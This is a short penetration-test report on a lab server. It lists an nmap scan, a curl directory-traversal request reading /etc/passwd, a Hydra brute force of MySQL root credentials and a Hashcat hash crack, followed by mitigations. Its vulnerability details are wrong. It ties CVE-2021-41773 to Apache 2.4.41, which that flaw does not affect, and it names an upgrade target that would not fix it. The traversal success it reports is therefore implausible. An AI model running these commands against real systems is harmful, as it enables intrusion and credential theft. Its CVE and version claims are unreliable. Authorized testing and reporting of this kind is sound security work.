Initial Exploitation Report

1. Scope and Safety Measures

Target System

- **System**: Internal test server
- **Operating System**: Ubuntu 20.04
- **Web Server**: Apache 2.4.41
- **Database Server**: MySQL 8.0.26
- **IP Address**: 192.168.1.50

Testing Environment

- **Attacking Machine**: Kali Linux running in VirtualBox
- **Tools Used**: Nmap, Hydra, Hashcat, Curl

Permissions & Safety Controls

- Testing is authorized and limited to an isolated lab environment.
- All findings and activities are documented to ensure accountability.
- No exploitation beyond the defined scope.

---

2. Service Enumeration and Basic Exploitation

Enumeration

Nmap Scan Results:

```
PORT   STATE SERVICE  VERSION
```

```
22/tcp open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux)
80/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open  mysql   MySQL 8.0.26-0ubuntu0.20.04.2
```

-

Exploitation Attempts

Apache 2.4.41 Directory Traversal (CVE-2021-41773)
Exploit Used:

```
 curl -v --path-as-is http://192.168.1.50/cgi-bin/../../../etc/passwd
```

-
- **Result**: Successfully accessed `/etc/passwd`, confirming directory traversal vulnerability.

MySQL Weak Credentials

- **Tool Used**: Hydra

Command Executed:

```
 hydra -l root -P rockyou.txt 192.168.1.50 mysql -V
```

-
- **Result**: Successfully logged in using the password `password123`.

---

3. Password Attack Demonstration

- **Tool Used**: Hashcat for offline attack on dumped password hashes.

- **Hash Type**: SHA-256.

Command Executed:

```
 hashcat -m 1400 hash.txt rockyou.txt --force
```

-

- **Result**: Cracked password: `admin123`.

---

4. Proof of Concept (PoC)

Vulnerability Exploited: Apache Directory Traversal

Impact

- Allowed unauthorized access to sensitive system files.
- Could be used to leak credentials or escalate privileges.

Mitigation

- Upgrade Apache to version 2.4.48 or later.
- Restrict access to sensitive directories in the server configuration.

---

5. Documentation & Recommendations

- **Logs and Screenshots**: Attached in the final report.
- **Next Steps**:
  - Patch vulnerabilities.
  - Enforce strong password policies.
  - Enable access controls and monitoring.

End of Report